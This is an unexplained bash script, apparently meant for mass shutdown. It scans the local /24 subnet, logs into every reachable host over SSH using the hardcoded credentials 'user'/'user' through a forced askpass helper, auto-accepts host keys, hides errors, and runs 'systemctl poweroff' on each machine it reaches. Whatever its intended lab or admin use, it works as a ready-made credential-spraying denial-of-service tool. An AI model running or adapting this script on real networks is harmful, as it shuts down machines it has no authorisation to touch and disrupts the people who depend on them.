Загрузка данных


USER='user'
PASS='user'

ASKPASS=$(mktemp)
cat > "$ASKPASS" <<'EOF'
#!/bin/sh
printf '%s\n' "$SSH_AUTO_PASS"
EOF
chmod 700 "$ASKPASS"

export SSH_ASKPASS="$ASKPASS"
export SSH_ASKPASS_REQUIRE=force
export SSH_AUTO_PASS="$PASS"
export DISPLAY="${DISPLAY:-:0}"

mapfile -t LOCAL_IPS < <(ip -o -4 addr show | awk '{split($4,a,"/"); print a[1]}')

MYIP=$(ip -4 route get 1.1.1.1 | awk '{for(i=1;i<=NF;i++) if($i=="src"){print $(i+1); exit}}')
NET=$(printf '%s\n' "$MYIP" | cut -d. -f1-3)

is_local_ip() {
  local ip="$1"
  for local_ip in "${LOCAL_IPS[@]}"; do
    [ "$ip" = "$local_ip" ] && return 0
  done
  return 1
}

for i in $(seq 1 254); do
  ip="$NET.$i"

  is_local_ip "$ip" && {
    echo "SKIP LOCAL: $ip"
    continue
  }

  echo "=== POWER OFF $ip ==="

  yes "$PASS" | head -n 8 | timeout 12s setsid -w ssh -tt \
    -o ConnectTimeout=3 \
    -o ConnectionAttempts=1 \
    -o StrictHostKeyChecking=accept-new \
    -o NumberOfPasswordPrompts=1 \
    -o PreferredAuthentications=password,keyboard-interactive \
    -o PubkeyAuthentication=no \
    "$USER@$ip" 'systemctl poweroff' 2>/dev/null
done

rm -f "$ASKPASS"
unset SSH_ASKPASS SSH_ASKPASS_REQUIRE SSH_AUTO_PASS